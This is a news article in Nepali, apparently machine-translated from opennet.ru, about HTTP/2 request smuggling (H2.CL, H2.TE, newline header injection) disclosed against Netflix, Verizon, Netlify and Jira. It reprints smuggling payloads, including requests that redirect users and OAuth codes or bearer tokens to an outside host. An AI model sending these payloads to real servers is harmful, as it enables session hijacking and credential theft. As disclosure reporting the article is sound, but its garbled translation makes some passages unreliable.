फ्रन्ट-एन्ड-ब्याकएन्ड प्रणालीहरूमा नयाँ आक्रमण जसले तपाईंलाई अनुरोधहरूमा जोड्न अनुमति दिन्छ

वेब प्रणालीहरू जसमा फ्रन्ट एन्डले HTTP/2 मार्फत जडानहरू स्वीकार गर्दछ र तिनीहरूलाई HTTP/1.1 मार्फत ब्याकइन्डमा पठाउँदछ, "HTTP अनुरोध तस्करी" आक्रमणको नयाँ संस्करणमा पर्दाफास गरिएको छ, जसले विशेष रूपमा डिजाइन गरिएको ग्राहक अनुरोधहरू पठाएर अनुमति दिन्छ। फ्रन्टएन्ड र ब्याकइन्ड बीचको समान प्रवाहमा प्रशोधन गरिएका अन्य प्रयोगकर्ताहरूका अनुरोधहरूको सामग्रीहरूमा वेज गर्नुहोस्। आक्रमणलाई वैध वेबसाइटको साथ सत्रमा दुर्भावनापूर्ण JavaScript कोड घुसाउन, पहुँच प्रतिबन्ध प्रणालीहरू बाइपास गर्न र प्रमाणीकरण प्यारामिटरहरू अवरोध गर्न प्रयोग गर्न सकिन्छ।

समस्याले वेब प्रोक्सीहरू, लोड ब्यालेन्सरहरू, वेब एक्सेलेटरहरू, सामग्री वितरण प्रणालीहरू र अन्य कन्फिगरेसनहरूलाई असर गर्छ जसमा अनुरोधहरू फ्रन्ट-एन्ड-टु-ब्याकइन्ड रूपमा रिडिरेक्ट हुन्छन्। अध्ययनका लेखकले Netflix, Verizon, Bitbucket, Netlify CDN र Atlassian को प्रणालीहरूमा आक्रमण गर्ने सम्भावना देखाउनुभयो, र कमजोरीहरू पहिचान गर्नका लागि पुरस्कार कार्यक्रमहरूमा 56 हजार डलर प्राप्त गर्नुभयो। समस्या F5 नेटवर्क उत्पादनहरूमा पनि पुष्टि भएको छ। समस्याले आंशिक रूपमा Apache http सर्भर (CVE-2021-33193) मा mod_proxy लाई असर गर्छ, संस्करण 2.4.49 मा समाधान अपेक्षित छ (विकासकर्ताहरूलाई मेको शुरुमा समस्याको बारेमा सूचित गरिएको थियो र यसलाई समाधान गर्न 3 महिना दिइएको थियो)। nginx मा, "सामग्री-लम्बाइ" र "स्थानान्तरण-इन्कोडिङ" हेडरहरू एकै साथ निर्दिष्ट गर्ने क्षमता पछिल्लो रिलीज (1.21.1) मा रोकिएको थियो। आक्रमण उपकरणहरू पहिले नै Burp टूलकिटमा समावेश गरिएका छन् र टर्बो इन्ट्रुडर विस्तारको रूपमा उपलब्ध छन्।

ट्राफिकमा वेजिंग अनुरोधहरूको नयाँ विधिको सञ्चालनको सिद्धान्त दुई वर्ष अघि उही अनुसन्धानकर्ताले पहिचान गरेको जोखिमसँग मिल्दोजुल्दो छ, तर HTTP/1.1 मा अनुरोधहरू स्वीकार गर्ने फ्रन्टएन्डहरूमा सीमित छ। हामीलाई सम्झनुहोस् कि फ्रन्टएन्ड-ब्याकएन्ड योजनामा, ग्राहक अनुरोधहरू अतिरिक्त नोड - फ्रन्टएन्ड, जसले ब्याकइन्डसँग लामो समयसम्म चल्ने TCP जडान स्थापना गर्दछ, जसले अनुरोधहरूलाई प्रत्यक्ष रूपमा प्रक्रिया गर्दछ। यस साझा जडान मार्फत, विभिन्न प्रयोगकर्ताहरूबाट अनुरोधहरू प्राय: प्रसारण गरिन्छ, जसले HTTP प्रोटोकलको माध्यमबाट अलग गरिएको चेनलाई एक पछि अर्को गर्दछ।

क्लासिक "HTTP अनुरोध तस्करी" आक्रमण यस तथ्यमा आधारित थियो कि फ्रन्टएन्ड र ब्याकएन्डहरूले HTTP हेडर "सामग्री-लम्बाइ" (अनुरोधमा डेटाको कुल आकार निर्धारण गर्दछ) र "स्थानान्तरण-इन्कोडिङ: chunked" (अनुमति दिन्छ। डाटा भागहरूमा स्थानान्तरण गर्न) फरक रूपमा। उदाहरणका लागि, यदि फ्रन्टएन्डले "सामग्री-लम्बाइ" लाई मात्र समर्थन गर्छ तर "स्थानान्तरण-इन्कोडिङ: chunked" लाई बेवास्ता गर्छ भने, त्यसपछि आक्रमणकर्ताले अनुरोध पठाउन सक्छ जसमा "सामग्री-लम्बाइ" र "स्थानान्तरण-इन्कोडिङ: chunked" हेडरहरू समावेश छन्, तर साइज "सामग्री-लम्बाइ" हो जुन टुक्रा गरिएको चेनको आकारसँग मेल खाँदैन। यस अवस्थामा, फ्रन्टएन्डले "सामग्री-लम्बाइ" अनुसार अनुरोधलाई प्रक्रिया र रिडिरेक्ट गर्नेछ, र ब्याकएन्डले "स्थानान्तरण-इन्कोडिङ: chunked" मा आधारित ब्लक पूरा हुनको लागि पर्खनेछ र आक्रमणकर्ताको अनुरोधको बाँकी पुच्छर हुनेछ। अरू कसैको अनुरोधको सुरुमा अर्को प्रसारण हुनुहोस्।

पाठ प्रोटोकल HTTP/1.1 को विपरीत, जुन रेखा स्तरमा पार्स गरिएको छ, HTTP/2 बाइनरी प्रोटोकल हो र पूर्व-निर्दिष्ट आकारको डेटा ब्लकहरू हेरफेर गर्दछ। यद्यपि, HTTP/2 ले स्यूडो-हेडरहरू प्रयोग गर्दछ जुन नियमित HTTP हेडरहरूसँग मेल खान्छ। HTTP/1.1 प्रोटोकल मार्फत ब्याकइन्डसँग अन्तरक्रियाको अवस्थामा, फ्रन्टएन्डले यी स्यूडो-हेडरहरूलाई समान HTTP हेडरहरू HTTP/1.1 मा अनुवाद गर्दछ। समस्या यो हो कि ब्याकइन्डले मूल अनुरोधको प्यारामिटरहरूको बारेमा जानकारी बिना फ्रन्टएन्डद्वारा सेट गरिएको HTTP हेडरहरूमा आधारित स्ट्रिम पार्स गर्ने निर्णय गर्दछ।

विशेष गरी, मानहरू "सामग्री-लम्बाइ" र "स्थानान्तरण-इन्कोडिङ" छद्म-हेडरको रूपमा प्रसारित गर्न सकिन्छ, यद्यपि तिनीहरू HTTP/2 मा प्रयोग गरिएका छैनन्, किनकि सबै डेटाको आकार निर्धारण गरिन्छ। छुट्टै क्षेत्रमा। यद्यपि, HTTP/2 अनुरोधलाई HTTP/1.1 मा रूपान्तरण गर्ने प्रक्रियाको क्रममा, यी हेडरहरू राखिन्छन् र ब्याकइन्डलाई भ्रमित गर्न सक्छन्। त्यहाँ दुई मुख्य आक्रमण भेरियन्टहरू छन्: H2.TE र H2.CL, जसमा ब्याकइन्डलाई गलत ट्रान्सफर-इन्कोडिङ वा सामग्री-लम्बाइको मानले बहकाइएको छ जुन फ्रन्टएन्ड मार्फत प्राप्त गरिएको अनुरोध शरीरको वास्तविक आकारसँग मेल खाँदैन। HTTP/2 प्रोटोकल।

H2.CL आक्रमणको उदाहरण Netflix मा HTTP/2 अनुरोध पठाउँदा सामग्री-लम्बाइ स्यूडो-हेडरमा गलत साइज निर्दिष्ट गर्नु हो। यो अनुरोधले HTTP/1.1 मार्फत ब्याकइन्डमा पहुँच गर्दा समान HTTP हेडर सामग्री-लम्बाइ थप्न जान्छ, तर सामग्री-लम्बाइमा आकार वास्तविक एक भन्दा कम निर्दिष्ट गरिएको हुनाले, पुच्छरमा रहेको डेटाको अंशको रूपमा प्रशोधन गरिन्छ। अर्को अनुरोधको सुरुवात।

उदाहरणका लागि, HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar अनुरोध गर्नुहोस्।

ब्याकइन्डमा अनुरोध पठाइने परिणाम: POST /n HTTP/1.1 होस्ट: www.netflix.com सामग्री-लम्बाइ: 4 abcdGET /n HTTP/1.1 होस्ट: 02.rs?x.netflix.com Foo: bar

सामग्री-लम्बाइको मान 4 भएको हुनाले, ब्याकइन्डले अनुरोधको मुख्य भागको रूपमा "abcd" मात्र स्वीकार गर्नेछ, र बाँकी "GET /n HTTP/1.1..." पछिको अनुरोधको सुरुवातको रूपमा प्रशोधन गरिनेछ। अर्को प्रयोगकर्तासँग सम्बन्धित। तदनुसार, स्ट्रिम डिसिंक्रोनाइज हुनेछ र अर्को अनुरोधको प्रतिक्रियामा, डमी अनुरोध प्रशोधनको परिणाम जारी गरिनेछ। नेटफ्लिक्सको मामलामा, डमी अनुरोधमा "होस्ट:" हेडरमा तेस्रो-पक्ष होस्ट निर्दिष्ट गर्दा ग्राहकले "स्थान: https://02.rs?x.netflix.com/n" र नेटफ्लिक्स साइटको सन्दर्भमा तपाईंको JavaScript कोड चलाउनुहोस् सहित ग्राहकलाई स्वेच्छाचारी सामग्री पठाउन अनुमति दियो।

दोस्रो आक्रमण विकल्प (H2.TE) मा "स्थानान्तरण-इन्कोडिङ: chunked" हेडर प्रतिस्थापन समावेश छ। HTTP/2 मा स्थानान्तरण-इन्कोडिङ स्यूडो-हेडरको प्रयोग स्पेसिफिकेशनद्वारा निषेध गरिएको छ र यसका साथ अनुरोधहरूलाई गलत रूपमा व्यवहार गर्न निर्धारित गरिएको छ। यसका बावजुद, केही फ्रन्टएन्ड कार्यान्वयनहरूले यो आवश्यकतालाई ध्यानमा राख्दैनन् र HTTP/2 मा स्थानान्तरण-इन्कोडिङ स्यूडो-हेडरको प्रयोगलाई अनुमति दिन्छ, जुन समान HTTP हेडरमा रूपान्तरण हुन्छ। यदि त्यहाँ "स्थानान्तरण-इन्कोडिङ" हेडर छ भने, ब्याकइन्डले यसलाई उच्च प्राथमिकताको रूपमा लिन सक्छ र "{size}\r\n{block" ढाँचामा विभिन्न आकारका ब्लकहरू प्रयोग गरेर "chunked" मोडमा टुक्रा टुक्रा डेटा टुक्रा पार्स गर्न सक्छ। }\r\n{size} \r\n{block}\r\n0", समग्र आकारद्वारा प्रारम्भिक विभाजन भए पनि।

यस्तो खाडल को उपस्थिति Verizon को उदाहरण द्वारा प्रदर्शन गरिएको थियो। समस्या प्रमाणीकरण पोर्टल र सामग्री व्यवस्थापन प्रणालीसँग सम्बन्धित छ, जुन Huffington Post र Engadget जस्ता साइटहरूमा पनि प्रयोग गरिन्छ। उदाहरणका लागि, HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com स्थानान्तरण-इन्कोडिङ chunked 0 GET /oops HTTP/1.1 होस्ट: psres.net सामग्री-लम्बाइ: 10 मार्फत ग्राहक अनुरोध x=

ब्याकइन्डमा HTTP/1.1 अनुरोध पठाउने परिणाम: POST /identity/XUI HTTP/1.1 होस्ट: id.b2b.oath.com सामग्री-लम्बाइ: 66 स्थानान्तरण-इन्कोडिङ: chunked 0 GET /oops HTTP/1.1 होस्ट: psres। शुद्ध सामग्री- लम्बाइ: 10x =

ब्याकइन्डले, बदलामा, "सामग्री-लम्बाइ" हेडरलाई बेवास्ता गर्यो र "स्थानान्तरण-इन्कोडिङ: chunked" मा आधारित इन-स्ट्रीम विभाजन प्रदर्शन गर्यो। अभ्यासमा, आक्रमणले OAuth प्रमाणीकरणसँग सम्बन्धित अनुरोधहरू अवरोध गर्ने, जसका मापदण्डहरू सन्दर्भकर्ता हेडरमा प्रदर्शित भएका थिए, साथै प्रमाणीकरण सत्र सिमुलेट गर्ने र प्रयोगकर्ताको प्रणालीलाई प्रमाणहरू पठाउन ट्रिगर गर्ने सहित, तिनीहरूको वेबसाइटमा प्रयोगकर्ता अनुरोधहरू रिडिरेक्ट गर्न सम्भव बनायो। आक्रमणकारीको होस्टलाई। GET /b2blanding/show/oops HTTP/1.1 होस्ट: psres.net सन्दर्भकर्ता: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 होस्ट: psres.net प्राधिकरण: वाहक eyJhcGwiOiJIUzI1Gi1sInk…cCII6

HTTP/2 कार्यान्वयनहरूलाई आक्रमण गर्न जसले स्थानान्तरण-इन्कोडिङ स्यूडो-हेडर निर्दिष्ट गर्न अनुमति दिँदैन, अर्को विधि प्रस्ताव गरिएको छ जसमा "स्थानान्तरण-इन्कोडिङ" हेडरलाई नयाँ लाइन क्यारेक्टरद्वारा छुट्याइएको अन्य स्यूडो-हेडरहरूमा संलग्न गरेर प्रतिस्थापन समावेश गरिएको छ। HTTP/1.1 मा रूपान्तरण गर्दा यस अवस्थामा दुई अलग HTTP हेडरहरू सिर्जना गर्दछ)।

उदाहरणका लागि, Atlassian Jira र Netlify CDN (Firefox मा मोजिला सुरु पृष्ठ सेवा गर्न प्रयोग गरिएको) यस समस्याबाट प्रभावित थिए। विशेष रूपमा, HTTP/2 अनुरोध :method POST :path / :authority start.mozilla.org foo b\r\n स्थानान्तरण-इन्कोडिङ: chunked 0\r\n \r\n GET / HTTP/1.1\r\n होस्ट : evil-netlify-domain\r\n सामग्री-लम्बाइ: 5\r\n \r\nx=

HTTP/1.1 POST/HTTP/1.1 अनुरोध ब्याकइन्डमा पठाइयो\r\n होस्ट: start.mozilla.org\r\n Foo: b\r\n स्थानान्तरण-इन्कोडिङ: chunked\r\n सामग्री-लम्बाइ : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n होस्ट: evil-netlify-domain\r\n सामग्री-लम्बाइ: 5\r\n \r \nx=

"स्थानान्तरण-इन्कोडिङ" हेडरलाई प्रतिस्थापन गर्ने अर्को विकल्प अर्को छद्म-हेडरको नाममा वा अनुरोध विधिको साथ लाइनमा संलग्न गर्नु थियो। उदाहरणका लागि, Atlassian Jira पहुँच गर्दा, "chunked" मानको स्युडो-हेडर नाम "foo:bar\r\ntransfer-encoding" ले HTTP हेडरहरू "foo:bar" र "transfer-encoding: chunked" थप्न बाध्य बनायो। , र स्यूडो-हेडर ": विधि" मान निर्दिष्ट गर्दै "GET / HTTP/1.1\r\nTransfer-encoding: chunked" लाई "GET / HTTP/1.1\r\nट्रान्सफर-इन्कोडिङ: chunked" मा अनुवाद गरिएको थियो।

समस्या पहिचान गर्ने अन्वेषकले फ्रन्टएन्डहरू आक्रमण गर्न अनुरोध टनेलिङ प्रविधि पनि प्रस्ताव गरे, जसमा प्रत्येक आईपी ठेगानाले ब्याकइन्डमा छुट्टै जडान स्थापना गर्दछ र विभिन्न प्रयोगकर्ताहरूबाट ट्राफिक मिश्रित हुँदैन। प्रस्तावित प्रविधिले अन्य प्रयोगकर्ताहरूको अनुरोधहरूमा हस्तक्षेप गर्न अनुमति दिँदैन, तर साझा क्यासलाई विषाक्त गर्न सम्भव बनाउँछ जसले अन्य अनुरोधहरूको प्रशोधनलाई असर गर्छ, र फ्रन्टएन्डबाट ब्याकइन्डमा सेवा जानकारी स्थानान्तरण गर्न प्रयोग गरिने आन्तरिक HTTP हेडरहरूको प्रतिस्थापनलाई अनुमति दिन्छ। उदाहरणका लागि, यस्ता हेडरहरूमा फ्रन्टएन्ड साइडमा प्रमाणीकरण गर्दा हालको प्रयोगकर्ताको बारेमा जानकारी ब्याकइन्डमा पठाउन सक्छ)। अभ्यासमा विधि लागू गर्ने उदाहरणको रूपमा, क्यास विषाक्तता प्रयोग गरेर, बिटबकेट सेवामा पृष्ठहरूमा नियन्त्रण प्राप्त गर्न सम्भव थियो।

स्रोत: opennet.ru